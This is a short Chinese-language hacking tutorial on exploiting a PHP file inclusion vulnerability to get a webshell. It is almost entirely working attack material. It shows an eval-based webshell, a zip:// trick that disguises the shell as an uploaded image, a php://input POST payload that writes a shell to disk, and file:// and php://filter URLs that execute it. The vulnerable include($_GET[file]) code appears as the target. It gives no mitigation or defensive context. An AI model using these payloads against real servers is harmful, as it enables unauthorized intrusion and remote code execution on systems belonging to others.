一张简单的图就能看懂
更详细的解读:http://www.freebuf.com/column/148886.html
如何获得一个webshell?
假设文件包含漏洞文件test.php的后台代码为:
<?php
include($_GET[file]);
?>
- 如果该站点有文件上传功能,则可以结合上传功能和本地文件包含漏洞获得webshell,下面提供使用zip://协议的一种方法
具体步骤:(此处用上传图片功能举例,具体上传的绕过在此处不考虑)
- 新建一个shell.php
<?php
@eval($_GET[value]);
?>
- 把shell.php,压缩成shell.zip,修改拓展名为shell.jpg,然后上传,假设上传的目录为upload
- 则webshell为:
http://xxxxx/test.php?file=zip://upload/shell.jpg%23shell.php
#xxxxx为目标ip或者域名
2.如果该站点没有文件上传功能,但是allow_url_include=On的话,可以使用php://input在目标机的一个可写目录下面写一个shell.php
- 先查看allow_url_include的状态,这个可以查看phpinfo里面的信息,不然就先假设它是On吧
- 找到目标机上一个可写的目录,这里假设为/root/hello
- 使用firefox里面的hackbar插件,或者burpsuite代理
#url
http://xxxxx/test.php?file=php://input
#POST
<?php fputs(fopen('/root/hello/shell.php','w'),'<?php @eval($_POST[v]);?>')?>
- 发现成功在/root/hello里面得到了shell.php
- 然后此处要连接shell.php,但是直接访问
http://xxxxx/../../../root/hello/shell.php
是不行的,此处建议使用file://或者php://filter
#file
http://xxxxx/test.php?file=file:///root/hello/shell.php
#php://filter
http://xxxxx/test.php?file=php://filter/resource=/root/hello/shell.php